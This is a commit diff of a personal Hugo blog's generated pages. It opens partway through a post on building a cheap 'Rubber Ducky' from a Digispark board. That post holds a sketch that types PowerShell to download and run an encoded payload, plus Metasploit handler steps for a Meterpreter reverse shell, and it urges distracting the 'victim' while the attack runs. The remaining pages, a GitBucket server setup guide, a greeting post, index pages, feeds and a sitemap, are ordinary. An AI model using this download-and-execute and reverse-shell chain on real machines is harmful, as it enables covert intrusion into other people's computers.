DigiKeyboard.println(&quot;$result = Invoke-WebRequest -Uri $url&quot;);
delay(50);
// powershell.exe -nop -e $result.content
DigiKeyboard.println(&quot;powershell.exe -nop -e $result.content&quot;);
// turn off the led if the payload is places and executed
digitalWrite(1, LOW);
delay(1500);
DigiKeyboard.println(&quot;exit&quot;);
}
void loop() {
// if done with the scripts LED starts blinking
digitalWrite(1, HIGH);
delay(150);
digitalWrite(1, LOW);
delay(500);
}
</code></pre>
<p>In principle you can leave the script unchanged and only change the URL for the Payload, so that the Payload you chose can be downloaded. The Digispark should now be ready for use! Before you storm out and try to plug it into the next best USB-Port though, you should prepare Kali Linux so that your Reverse-Shell Session can be accessed directly and as soon as needed.</p>
<h2 id="preparing-msfconsole">
Preparing MSFconsole
<a class="heading-link" href="#preparing-msfconsole">
<i class="fa fa-link" aria-hidden="true"></i>
</a>
</h2>
<p>To prepare the receiving-end for the Reverse-Shell, open a Terminal on your Kali Linux system and start MSFconsole by entering</p>
<pre><code>root@kali:~# msfconsole
</code></pre>
<p>Then specify what exploit you want to use:</p>
<pre><code>msf &gt; use exploit/multi/handler
</code></pre>
<p>Now there are still some parameters we have to determine:</p>
<pre><code>msf exploit(handler) &gt; set payload windows/meterpreter/reverse_tcp
payload =&gt; windows/meterpreter/reverse_tcp
msf exploit(handler) &gt; set LHOST 10.0.0.10
LHOST =&gt; 10.0.0.10
msf exploit(handler) &gt; set LPORT 4444
LPORT =&gt; 4444
</code></pre>
<p>Replace the vlaue of LHOST with the IP/Domain you used when creating the payload with MSFconsole</p>
<p>To finish things off we have to tell our Console that it has to wait for a new session:</p>
<pre><code>msf exploit(handler) &gt; exploit -z -j
[*] Exploit running as background job.
[*] Started reverse TCP handler on 10.0.0.10:4444
[*] Starting the payload handler...
</code></pre>
<p>Now it&rsquo;s done! You can search for the next best PC to test your Digispark out! After you plug your Digispark in a Powershell will be opened and then closed, within this timeframe you have to distract your victim, after your USB Dev. Board starts to blink fastly you know your script has been executed and you can unplug the Digispark. If everything went how it should&rsquo;ve your console should display this:</p>
<pre><code>msf exploit(handler) &gt; [*] Sending stage (957487 bytes) to 10.0.0.3
[*] Meterpreter session 1 opened (10.0.0.10:4444 -&gt; 10.0.0.3:49678) at 2017-02-06 20:25:36 +0100
</code></pre>
<p>At last you have to pin your session, like this:</p>
<pre><code>msf exploit(handler) &gt; sessions -i 1
[*] Starting interaction with 1...
meterpreter &gt;
</code></pre>
<p>And now: Congratulations! You now have a Reverse-Shell on your victims PC! With the command &ldquo;help&rdquo; you can see what you can do now.</p>
<p>Have fun, Good luck, Stay safe and don&rsquo;t let yourself get distracted by people with a Digispark! :D</p>
</div>
<footer>
</footer>
</article>
</section>
</div>
<footer class="footer">
<section class="container">
©
2018 -
2021
_N0x
·
Powered by <a href="https://gohugo.io/">Hugo</a> & <a href="https://github.com/luizdepra/hugo-coder/">Coder</a>.
</section>
</footer>
</main>
<script src="https://n0x.io/js/coder.min.235666b114443867d43eeb5799d51f6252965e5163f338285e113fa381d3d27e.js" integrity="sha256-I1ZmsRREOGfUPutXmdUfYlKWXlFj8zgoXhE/o4HT0n4="></script>
</body>
</html>

View File

@ -0,0 +1,291 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="Content-Language" content="en">
<meta name="color-scheme" content="light dark">
<meta name="author" content="_N0x">
<meta name="description" content="A Git-Server Setup In Minutes Sometimes I wish I had other hobbies then just trying out new stuff I dicovered online.
For Some strange reason I felt the need to set up my own git server - because who doesn&rsquo;t need an own server for the two or three projects you keep on github? I looked around and searched for some solutions that would fit my needs.">
<meta name="keywords" content="blog,developer,personal">
<meta name="twitter:card" content="summary"/>
<meta name="twitter:title" content="GIT_IN_MINUTES"/>
<meta name="twitter:description" content="A Git-Server Setup In Minutes Sometimes I wish I had other hobbies then just trying out new stuff I dicovered online.
For Some strange reason I felt the need to set up my own git server - because who doesn&rsquo;t need an own server for the two or three projects you keep on github? I looked around and searched for some solutions that would fit my needs."/>
<meta property="og:title" content="GIT_IN_MINUTES" />
<meta property="og:description" content="A Git-Server Setup In Minutes Sometimes I wish I had other hobbies then just trying out new stuff I dicovered online.
For Some strange reason I felt the need to set up my own git server - because who doesn&rsquo;t need an own server for the two or three projects you keep on github? I looked around and searched for some solutions that would fit my needs." />
<meta property="og:type" content="article" />
<meta property="og:url" content="https://n0x.io/posts/gitbucket/" /><meta property="article:section" content="posts" />
<meta property="article:published_time" content="2020-07-02T00:00:00&#43;00:00" />
<meta property="article:modified_time" content="2020-07-02T00:00:00&#43;00:00" />
<title>
GIT_IN_MINUTES · n0x.io
</title>
<link rel="canonical" href="https://n0x.io/posts/gitbucket/">
<link rel="preload" href="https://n0x.io/fonts/forkawesome-webfont.woff2?v=1.2.0" as="font" type="font/woff2" crossorigin>
<link rel="stylesheet" href="https://n0x.io/css/coder.min.93c41bf1e522f85ecda7355985f09000f71fc1d64dda9f74051b0fa06210e93f.css" integrity="sha256-k8Qb8eUi&#43;F7NpzVZhfCQAPcfwdZN2p90BRsPoGIQ6T8=" crossorigin="anonymous" media="screen" />
<link rel="stylesheet" href="https://n0x.io/css/coder-dark.min.f37febc669ce189201c1918fac1948a254686c8d366a312c2d72b2bb71ad97d1.css" integrity="sha256-83/rxmnOGJIBwZGPrBlIolRobI02ajEsLXKyu3Gtl9E=" crossorigin="anonymous" media="screen" />
<link rel="icon" type="image/png" href="https://n0x.io/images/favicon-32x32.png" sizes="32x32">
<link rel="icon" type="image/png" href="https://n0x.io/images/favicon-16x16.png" sizes="16x16">
<link rel="apple-touch-icon" href="https://n0x.io/images/apple-touch-icon.png">
<link rel="apple-touch-icon" sizes="180x180" href="https://n0x.io/images/apple-touch-icon.png">
<meta name="generator" content="Hugo 0.83.1" />
</head>
<body class="preload-transitions colorscheme-dark"
onload=""
>
<div class="float-container">
<a id="dark-mode-toggle" class="colorscheme-toggle">
<i class="fa fa-adjust fa-fw" aria-hidden="true"></i>
</a>
</div>
<main class="wrapper">
<nav class="navigation">
<section class="container">
<a class="navigation-title" href="https://n0x.io/">
n0x.io
</a>
<input type="checkbox" id="menu-toggle" />
<label class="menu-button float-right" for="menu-toggle">
<i class="fa fa-bars fa-fw" aria-hidden="true"></i>
</label>
<ul class="navigation-list">
<li class="navigation-item">
<a class="navigation-link" href="https://n0x.io/posts/">Blog</a>
</li>
<li class="navigation-item">
<a class="navigation-link" href="https://n0x.io/about/">About</a>
</li>
<li class="navigation-item">
<a class="navigation-link" href="https://cloud.n0x.io/">Cloud</a>
</li>
<li class="navigation-item">
<a class="navigation-link" href="https://git.n0x.io/">Git</a>
</li>
</ul>
</section>
</nav>
<div class="content">
<section class="container post">
<article>
<header>
<div class="post-title">
<h1 class="title">
<a class="title-link" href="https://n0x.io/posts/gitbucket/">
GIT_IN_MINUTES
</a>
</h1>
</div>
<div class="post-meta">
<div class="date">
<span class="posted-on">
<i class="fa fa-calendar" aria-hidden="true"></i>
<time datetime='2020-07-02T00:00:00Z'>
July 2, 2020
</time>
</span>
<span class="reading-time">
<i class="fa fa-clock-o" aria-hidden="true"></i>
3-minute read
</span>
</div>
</div>
</header>
<div>
<h1 id="a-git-server-setup-in-minutes">
A Git-Server Setup In Minutes
<a class="heading-link" href="#a-git-server-setup-in-minutes">
<i class="fa fa-link" aria-hidden="true"></i>
</a>
</h1>
<p>Sometimes I wish I had other hobbies then just trying out new stuff I dicovered online.</p>
<p>For Some strange reason I felt the need to set up my own git server - because who doesn&rsquo;t need an own server for the two or three projects you keep on github?
I looked around and searched for some solutions that would fit my needs.</p>
<p>My requirements were:</p>
<ul>
<li>Easy setup</li>
<li>Very Low System requirements for the host</li>
<li>Account management</li>
<li>Private and Public Repos</li>
<li>Open Source</li>
</ul>
<h2 id="the-possibilities">
The Possibilities
<a class="heading-link" href="#the-possibilities">
<i class="fa fa-link" aria-hidden="true"></i>
</a>
</h2>
<p>There were multiple solutions to choose from.</p>
<p>The first one was <a href="https://about.gitlab.com/install/">GitLab Core</a>. <a href="https://about.gitlab.com">GitLab</a> is widely know and a nice alternative to <a href="https://github.com/">GitHub</a>. But GitLab core does require some more System resources then my current Server has and so I ruled it out. It is good for bigger companies but I just needed something small.</p>
<p><a href="https://gitea.io/en-us/">Gitea</a> was the next thing I came across. It checks all the boxes: lightweight, simple install, Open Source, etc. I downloaded it but had trouble getting it to run with my current database without exposing my database port to the internet and that is a big No. I don&rsquo;t want to open any more ports in my firewall then I need to.</p>
<p>Here is where <a href="https://gitbucket.github.io/">GitBucket</a> (not to be confused with ATLASSIANs <a href="https://bitbucket.org/">Bitbucket</a>) came into play. It has similar features as Gitea but I was able to set it up exactly how I wanted to.</p>
<p>So now <a href="https://git.n0x.io/">git.n0x.io</a> is a thing!</p>
<h2 id="setting-up-gitbucket">
Setting up GitBucket
<a class="heading-link" href="#setting-up-gitbucket">
<i class="fa fa-link" aria-hidden="true"></i>
</a>
</h2>
<h3 id="prerequirements">
Prerequirements
<a class="heading-link" href="#prerequirements">
<i class="fa fa-link" aria-hidden="true"></i>
</a>
</h3>
<p>Just FYI I am running a little Debian 9 vServer so you might need to adapt the commands and changes to your system - which should be self-explanatory ;)</p>
<p>GitBucket is mostly written in Scala so we firstly need to install openJDK on our Server to run it.</p>
<pre><code>sudo apt update
sudo apt install openjdk-11-jre
</code></pre>
<p>After installing the JRE I created a user account on which GitBucket should run. This way we make sure that I we do not grant to much privileges to GitBucket - it only gets the minimal things it needs to run</p>
<pre><code>sudo adduser --system gitbucket
</code></pre>
<p>The <code>--system</code> parameter creates a systemuser account which mean a user that has no shell so we can&rsquo;t log into it the normal <code>su</code> way. To login to the new user use the following command:</p>
<pre><code>sudo su - gitbucket -s /bin/bash
</code></pre>
<p>With <code>-s /bin/bash</code> we provide a shell to the user so we don&rsquo;t get logged out immediately.</p>
<p>Now we download the <a href="https://github.com/gitbucket/gitbucket/releases/">latest version</a> of BitBucket (in my case 4.32.0) from GitHub to our local home.</p>
<pre><code>cd ~
wget https://github.com/gitbucket/gitbucket/releases/download/4.32.0/gitbucket.war
</code></pre>
<h3 id="running-gitbucket">
Running GitBucket
<a class="heading-link" href="#running-gitbucket">
<i class="fa fa-link" aria-hidden="true"></i>
</a>
</h3>
<p>That is pretty much it. Now we can run GitBucket.war for the first time. There are multiple parameters you can specify (<a href="https://github.com/gitbucket/gitbucket#installation">See the official installation guide</a>) but for now we stick with just specifying the port we want GitBucket to run on initially</p>
<pre><code>java -jar gitbucket.war --port=8080
</code></pre>
<p>If you have a firewall set up like I do, you of course need to open up the port you specified. For example if you use iptables:</p>
<pre><code>sudo iptables -A INPUT -p tcp -m tcp --dport 8080 -j ACCEPT
</code></pre>
</div>
<footer>
</footer>
</article>
</section>
</div>
<footer class="footer">
<section class="container">
©
2018 -
2021
_N0x
·
Powered by <a href="https://gohugo.io/">Hugo</a> & <a href="https://github.com/luizdepra/hugo-coder/">Coder</a>.
</section>
</footer>
</main>
<script src="https://n0x.io/js/coder.min.235666b114443867d43eeb5799d51f6252965e5163f338285e113fa381d3d27e.js" integrity="sha256-I1ZmsRREOGfUPutXmdUfYlKWXlFj8zgoXhE/o4HT0n4="></script>
</body>
</html>

View File

@ -0,0 +1,236 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="Content-Language" content="en">
<meta name="color-scheme" content="light dark">
<meta name="author" content="_N0x">
<meta name="description" content="Hello World! Hello there and welcome on n0x.io!
I&rsquo;m _N0x. I&rsquo;m 20 years old and &ldquo;Fachinformatiker für Anwendungsentwicklung&rdquo;. I live in germany and Love tinkering with PCs and Software.
Thanks for stopping by ;)">
<meta name="keywords" content="blog,developer,personal">
<meta name="twitter:card" content="summary"/>
<meta name="twitter:title" content="HelloWorld"/>
<meta name="twitter:description" content="Hello World! Hello there and welcome on n0x.io!
I&rsquo;m _N0x. I&rsquo;m 20 years old and &ldquo;Fachinformatiker für Anwendungsentwicklung&rdquo;. I live in germany and Love tinkering with PCs and Software.
Thanks for stopping by ;)"/>
<meta property="og:title" content="HelloWorld" />
<meta property="og:description" content="Hello World! Hello there and welcome on n0x.io!
I&rsquo;m _N0x. I&rsquo;m 20 years old and &ldquo;Fachinformatiker für Anwendungsentwicklung&rdquo;. I live in germany and Love tinkering with PCs and Software.
Thanks for stopping by ;)" />
<meta property="og:type" content="article" />
<meta property="og:url" content="https://n0x.io/posts/helloworld/" /><meta property="article:section" content="posts" />
<meta property="article:published_time" content="2018-01-08T20:35:40&#43;01:00" />
<meta property="article:modified_time" content="2018-01-08T20:35:40&#43;01:00" />
<title>
HelloWorld · n0x.io
</title>
<link rel="canonical" href="https://n0x.io/posts/helloworld/">
<link rel="preload" href="https://n0x.io/fonts/forkawesome-webfont.woff2?v=1.2.0" as="font" type="font/woff2" crossorigin>
<link rel="stylesheet" href="https://n0x.io/css/coder.min.93c41bf1e522f85ecda7355985f09000f71fc1d64dda9f74051b0fa06210e93f.css" integrity="sha256-k8Qb8eUi&#43;F7NpzVZhfCQAPcfwdZN2p90BRsPoGIQ6T8=" crossorigin="anonymous" media="screen" />
<link rel="stylesheet" href="https://n0x.io/css/coder-dark.min.f37febc669ce189201c1918fac1948a254686c8d366a312c2d72b2bb71ad97d1.css" integrity="sha256-83/rxmnOGJIBwZGPrBlIolRobI02ajEsLXKyu3Gtl9E=" crossorigin="anonymous" media="screen" />
<link rel="icon" type="image/png" href="https://n0x.io/images/favicon-32x32.png" sizes="32x32">
<link rel="icon" type="image/png" href="https://n0x.io/images/favicon-16x16.png" sizes="16x16">
<link rel="apple-touch-icon" href="https://n0x.io/images/apple-touch-icon.png">
<link rel="apple-touch-icon" sizes="180x180" href="https://n0x.io/images/apple-touch-icon.png">
<meta name="generator" content="Hugo 0.83.1" />
</head>
<body class="preload-transitions colorscheme-dark"
onload=""
>
<div class="float-container">
<a id="dark-mode-toggle" class="colorscheme-toggle">
<i class="fa fa-adjust fa-fw" aria-hidden="true"></i>
</a>
</div>
<main class="wrapper">
<nav class="navigation">
<section class="container">
<a class="navigation-title" href="https://n0x.io/">
n0x.io
</a>
<input type="checkbox" id="menu-toggle" />
<label class="menu-button float-right" for="menu-toggle">
<i class="fa fa-bars fa-fw" aria-hidden="true"></i>
</label>
<ul class="navigation-list">
<li class="navigation-item">
<a class="navigation-link" href="https://n0x.io/posts/">Blog</a>
</li>
<li class="navigation-item">
<a class="navigation-link" href="https://n0x.io/about/">About</a>
</li>
<li class="navigation-item">
<a class="navigation-link" href="https://cloud.n0x.io/">Cloud</a>
</li>
<li class="navigation-item">
<a class="navigation-link" href="https://git.n0x.io/">Git</a>
</li>
</ul>
</section>
</nav>
<div class="content">
<section class="container post">
<article>
<header>
<div class="post-title">
<h1 class="title">
<a class="title-link" href="https://n0x.io/posts/helloworld/">
HelloWorld
</a>
</h1>
</div>
<div class="post-meta">
<div class="date">
<span class="posted-on">
<i class="fa fa-calendar" aria-hidden="true"></i>
<time datetime='2018-01-08T20:35:40&#43;01:00'>
January 8, 2018
</time>
</span>
<span class="reading-time">
<i class="fa fa-clock-o" aria-hidden="true"></i>
One-minute read
</span>
</div>
</div>
</header>
<div>
<h1 id="hello-world">
Hello World!
<a class="heading-link" href="#hello-world">
<i class="fa fa-link" aria-hidden="true"></i>
</a>
</h1>
<p>Hello there and welcome on n0x.io!</p>
<p>I&rsquo;m _N0x. I&rsquo;m 20 years old and &ldquo;Fachinformatiker für Anwendungsentwicklung&rdquo;.
I live in germany and Love tinkering with PCs and Software.</p>
<p>Thanks for stopping by ;)</p>
</div>
<footer>
</footer>
</article>
</section>
</div>
<footer class="footer">
<section class="container">
©
2018 -
2021
_N0x
·
Powered by <a href="https://gohugo.io/">Hugo</a> & <a href="https://github.com/luizdepra/hugo-coder/">Coder</a>.
</section>
</footer>
</main>
<script src="https://n0x.io/js/coder.min.235666b114443867d43eeb5799d51f6252965e5163f338285e113fa381d3d27e.js" integrity="sha256-I1ZmsRREOGfUPutXmdUfYlKWXlFj8zgoXhE/o4HT0n4="></script>
</body>
</html>

201
public/posts/index.html Normal file
View File

@ -0,0 +1,201 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="Content-Language" content="en">
<meta name="color-scheme" content="light dark">
<meta name="author" content="_N0x">
<meta name="description" content="Just some small blog">
<meta name="keywords" content="blog,developer,personal">
<meta name="twitter:card" content="summary"/>
<meta name="twitter:title" content="Posts"/>
<meta name="twitter:description" content="Just some small blog"/>
<meta property="og:title" content="Posts" />
<meta property="og:description" content="Just some small blog" />
<meta property="og:type" content="website" />
<meta property="og:url" content="https://n0x.io/posts/" />
<title>
Posts · n0x.io
</title>
<link rel="canonical" href="https://n0x.io/posts/">
<link rel="preload" href="https://n0x.io/fonts/forkawesome-webfont.woff2?v=1.2.0" as="font" type="font/woff2" crossorigin>
<link rel="stylesheet" href="https://n0x.io/css/coder.min.93c41bf1e522f85ecda7355985f09000f71fc1d64dda9f74051b0fa06210e93f.css" integrity="sha256-k8Qb8eUi&#43;F7NpzVZhfCQAPcfwdZN2p90BRsPoGIQ6T8=" crossorigin="anonymous" media="screen" />
<link rel="stylesheet" href="https://n0x.io/css/coder-dark.min.f37febc669ce189201c1918fac1948a254686c8d366a312c2d72b2bb71ad97d1.css" integrity="sha256-83/rxmnOGJIBwZGPrBlIolRobI02ajEsLXKyu3Gtl9E=" crossorigin="anonymous" media="screen" />
<link rel="icon" type="image/png" href="https://n0x.io/images/favicon-32x32.png" sizes="32x32">
<link rel="icon" type="image/png" href="https://n0x.io/images/favicon-16x16.png" sizes="16x16">
<link rel="apple-touch-icon" href="https://n0x.io/images/apple-touch-icon.png">
<link rel="apple-touch-icon" sizes="180x180" href="https://n0x.io/images/apple-touch-icon.png">
<link rel="alternate" type="application/rss+xml" href="https://n0x.io/posts/index.xml" title="n0x.io" />
<meta name="generator" content="Hugo 0.83.1" />
</head>
<body class="preload-transitions colorscheme-dark"
onload=""
>
<div class="float-container">
<a id="dark-mode-toggle" class="colorscheme-toggle">
<i class="fa fa-adjust fa-fw" aria-hidden="true"></i>
</a>
</div>
<main class="wrapper">
<nav class="navigation">
<section class="container">
<a class="navigation-title" href="https://n0x.io/">
n0x.io
</a>
<input type="checkbox" id="menu-toggle" />
<label class="menu-button float-right" for="menu-toggle">
<i class="fa fa-bars fa-fw" aria-hidden="true"></i>
</label>
<ul class="navigation-list">
<li class="navigation-item">
<a class="navigation-link" href="https://n0x.io/posts/">Blog</a>
</li>
<li class="navigation-item">
<a class="navigation-link" href="https://n0x.io/about/">About</a>
</li>
<li class="navigation-item">
<a class="navigation-link" href="https://cloud.n0x.io/">Cloud</a>
</li>
<li class="navigation-item">
<a class="navigation-link" href="https://git.n0x.io/">Git</a>
</li>
</ul>
</section>
</nav>
<div class="content">
<section class="container list">
<h1 class="title">
<a class="title-link" href="https://n0x.io/posts/">
Posts
</a>
</h1>
<ul><li>
<span class="date">July 2, 2020</span>
<a class="title" href="https://n0x.io/posts/gitbucket/">GIT_IN_MINUTES</a>
</li>
<li>
<span class="date">January 20, 2018</span>
<a class="title" href="https://n0x.io/posts/digispark_reverseshell/">Digispark_ReverseShell</a>
</li>
<li>
<span class="date">January 8, 2018</span>
<a class="title" href="https://n0x.io/posts/helloworld/">HelloWorld</a>
</li>
</ul>
</section>
</div>
<footer class="footer">
<section class="container">
©
2018 -
2021
_N0x
·
Powered by <a href="https://gohugo.io/">Hugo</a> & <a href="https://github.com/luizdepra/hugo-coder/">Coder</a>.
</section>
</footer>
</main>
<script src="https://n0x.io/js/coder.min.235666b114443867d43eeb5799d51f6252965e5163f338285e113fa381d3d27e.js" integrity="sha256-I1ZmsRREOGfUPutXmdUfYlKWXlFj8zgoXhE/o4HT0n4="></script>
</body>
</html>

41
public/posts/index.xml Normal file
View File

@ -0,0 +1,41 @@
<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>Posts on n0x.io</title>
<link>https://n0x.io/posts/</link>
<description>Recent content in Posts on n0x.io</description>
<generator>Hugo -- gohugo.io</generator>
<language>de</language>
<lastBuildDate>Thu, 02 Jul 2020 00:00:00 +0000</lastBuildDate><atom:link href="https://n0x.io/posts/index.xml" rel="self" type="application/rss+xml" />
<item>
<title>GIT_IN_MINUTES</title>
<link>https://n0x.io/posts/gitbucket/</link>
<pubDate>Thu, 02 Jul 2020 00:00:00 +0000</pubDate>
<guid>https://n0x.io/posts/gitbucket/</guid>
<description>A Git-Server Setup In Minutes Sometimes I wish I had other hobbies then just trying out new stuff I dicovered online.
For Some strange reason I felt the need to set up my own git server - because who doesn&amp;rsquo;t need an own server for the two or three projects you keep on github? I looked around and searched for some solutions that would fit my needs.</description>
</item>
<item>
<title>Digispark_ReverseShell</title>
<link>https://n0x.io/posts/digispark_reverseshell/</link>
<pubDate>Sat, 20 Jan 2018 17:03:46 +0100</pubDate>
<guid>https://n0x.io/posts/digispark_reverseshell/</guid>
<description>Reverse Shell for 1,50€ - Digispark instead of USB Rubber Ducky Some of you might already have heard of it: The USB Rubber Ducky by Hak5. A very special USB-Device: Not only a mass storage device but any usb input-device you want it to be. Because of this you can use it for some very nice ways to get your payload onto a victims PC. The Rubber Ducky is freely programmable so there are no limits on what you can do with it.</description>
</item>
<item>
<title>HelloWorld</title>
<link>https://n0x.io/posts/helloworld/</link>
<pubDate>Mon, 08 Jan 2018 20:35:40 +0100</pubDate>
<guid>https://n0x.io/posts/helloworld/</guid>
<description>Hello World! Hello there and welcome on n0x.io!
I&amp;rsquo;m _N0x. I&amp;rsquo;m 20 years old and &amp;ldquo;Fachinformatiker für Anwendungsentwicklung&amp;rdquo;. I live in germany and Love tinkering with PCs and Software.
Thanks for stopping by ;)</description>
</item>
</channel>
</rss>

View File

@ -0,0 +1 @@
<!DOCTYPE html><html><head><title>https://n0x.io/posts/</title><link rel="canonical" href="https://n0x.io/posts/"/><meta name="robots" content="noindex"><meta charset="utf-8" /><meta http-equiv="refresh" content="0; url=https://n0x.io/posts/" /></head></html>

26
public/sitemap.xml Normal file
View File

@ -0,0 +1,26 @@
<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"
xmlns:xhtml="http://www.w3.org/1999/xhtml">
<url>
<loc>https://n0x.io/posts/gitbucket/</loc>
<lastmod>2020-07-02T00:00:00+00:00</lastmod>
</url><url>
<loc>https://n0x.io/</loc>
<lastmod>2020-07-02T00:00:00+00:00</lastmod>
</url><url>
<loc>https://n0x.io/posts/</loc>
<lastmod>2020-07-02T00:00:00+00:00</lastmod>
</url><url>
<loc>https://n0x.io/posts/digispark_reverseshell/</loc>
<lastmod>2018-01-20T17:03:46+01:00</lastmod>
</url><url>
<loc>https://n0x.io/posts/helloworld/</loc>
<lastmod>2018-01-08T20:35:40+01:00</lastmod>
</url><url>
<loc>https://n0x.io/about/</loc>
</url><url>
<loc>https://n0x.io/categories/</loc>
</url><url>
<loc>https://n0x.io/tags/</loc>
</url>
</urlset>

181
public/tags/index.html Normal file
View File

@ -0,0 +1,181 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="Content-Language" content="en">
<meta name="color-scheme" content="light dark">
<meta name="author" content="_N0x">
<meta name="description" content="Just some small blog">
<meta name="keywords" content="blog,developer,personal">
<meta name="twitter:card" content="summary"/>
<meta name="twitter:title" content="Tags"/>
<meta name="twitter:description" content="Just some small blog"/>
<meta property="og:title" content="Tags" />
<meta property="og:description" content="Just some small blog" />
<meta property="og:type" content="website" />
<meta property="og:url" content="https://n0x.io/tags/" />
<title>Tags · n0x.io</title>
<link rel="canonical" href="https://n0x.io/tags/">
<link rel="preload" href="https://n0x.io/fonts/forkawesome-webfont.woff2?v=1.2.0" as="font" type="font/woff2" crossorigin>
<link rel="stylesheet" href="https://n0x.io/css/coder.min.93c41bf1e522f85ecda7355985f09000f71fc1d64dda9f74051b0fa06210e93f.css" integrity="sha256-k8Qb8eUi&#43;F7NpzVZhfCQAPcfwdZN2p90BRsPoGIQ6T8=" crossorigin="anonymous" media="screen" />
<link rel="stylesheet" href="https://n0x.io/css/coder-dark.min.f37febc669ce189201c1918fac1948a254686c8d366a312c2d72b2bb71ad97d1.css" integrity="sha256-83/rxmnOGJIBwZGPrBlIolRobI02ajEsLXKyu3Gtl9E=" crossorigin="anonymous" media="screen" />
<link rel="icon" type="image/png" href="https://n0x.io/images/favicon-32x32.png" sizes="32x32">
<link rel="icon" type="image/png" href="https://n0x.io/images/favicon-16x16.png" sizes="16x16">
<link rel="apple-touch-icon" href="https://n0x.io/images/apple-touch-icon.png">
<link rel="apple-touch-icon" sizes="180x180" href="https://n0x.io/images/apple-touch-icon.png">
<link rel="alternate" type="application/rss+xml" href="https://n0x.io/tags/index.xml" title="n0x.io" />
<meta name="generator" content="Hugo 0.83.1" />
</head>
<body class="preload-transitions colorscheme-dark"
onload=""
>
<div class="float-container">
<a id="dark-mode-toggle" class="colorscheme-toggle">
<i class="fa fa-adjust fa-fw" aria-hidden="true"></i>
</a>
</div>
<main class="wrapper">
<nav class="navigation">
<section class="container">
<a class="navigation-title" href="https://n0x.io/">
n0x.io
</a>
<input type="checkbox" id="menu-toggle" />
<label class="menu-button float-right" for="menu-toggle">
<i class="fa fa-bars fa-fw" aria-hidden="true"></i>
</label>
<ul class="navigation-list">
<li class="navigation-item">
<a class="navigation-link" href="https://n0x.io/posts/">Blog</a>
</li>
<li class="navigation-item">
<a class="navigation-link" href="https://n0x.io/about/">About</a>
</li>
<li class="navigation-item">
<a class="navigation-link" href="https://cloud.n0x.io/">Cloud</a>
</li>
<li class="navigation-item">
<a class="navigation-link" href="https://git.n0x.io/">Git</a>
</li>
</ul>
</section>
</nav>
<div class="content">
<section class="container taxonomy">
<h1 class="title">
<a class="title-link" href="https://n0x.io/tags/">Tags</a>
</h1>
<ul>
</ul>
</section>
</div>
<footer class="footer">
<section class="container">
©
2018 -
2021
_N0x
·
Powered by <a href="https://gohugo.io/">Hugo</a> & <a href="https://github.com/luizdepra/hugo-coder/">Coder</a>.
</section>
</footer>
</main>
<script src="https://n0x.io/js/coder.min.235666b114443867d43eeb5799d51f6252965e5163f338285e113fa381d3d27e.js" integrity="sha256-I1ZmsRREOGfUPutXmdUfYlKWXlFj8zgoXhE/o4HT0n4="></script>
</body>
</html>

10
public/tags/index.xml Normal file
View File

@ -0,0 +1,10 @@
<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>Tags on n0x.io</title>
<link>https://n0x.io/tags/</link>
<description>Recent content in Tags on n0x.io</description>
<generator>Hugo -- gohugo.io</generator>
<language>de</language><atom:link href="https://n0x.io/tags/index.xml" rel="self" type="application/rss+xml" />
</channel>
</rss>

1
themes/coder Submodule

@ -0,0 +1 @@
Subproject commit 9920a722b08f4467e9910e6147372ba0f93644b9